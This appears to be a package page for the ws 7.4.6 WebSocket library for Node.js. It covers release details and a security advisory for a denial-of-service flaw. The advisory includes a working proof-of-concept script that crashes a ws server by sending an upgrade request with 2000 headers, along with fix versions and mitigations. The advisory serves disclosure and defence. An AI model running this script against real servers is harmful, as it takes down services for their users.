Ws version 7.4.6 represents a minor update in the popular WebSocket library, succeeding version 7.4.5. Both versions maintain the core promise of a fast, reliable, and easy-to-use WebSocket solution for Node.js developers. A key difference lies in the unpacked size, with 7.4.6 slightly larger at 113359 bytes compared to 7.4.5's 113125 bytes; this suggests potential enhancements or bug fixes that have increased the package footprint. The release date also sets them apart, 7.4.6 being released on May 25, 2021, while 7.4.5 was released in April 18, 2021.
For developers, these versions share the same set of development dependencies, including tools for testing (mocha, nyc), linting (eslint, prettier), and performance benchmarking. The peer dependencies, bufferutil and utf-8-validate, remain consistent, ensuring compatibility with expected native modules for optimized buffer and UTF-8 handling. The MIT license ensures freedom for integration into various projects. Upgrading from 7.4.5 to 7.4.6 is likely a straightforward process, focusing on stability improvements and subtle refinements rather than breaking changes. Developers should always consult the changelog for a detailed breakdown of modifications.
All the vulnerabilities related to the version 7.4.6 of the package
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.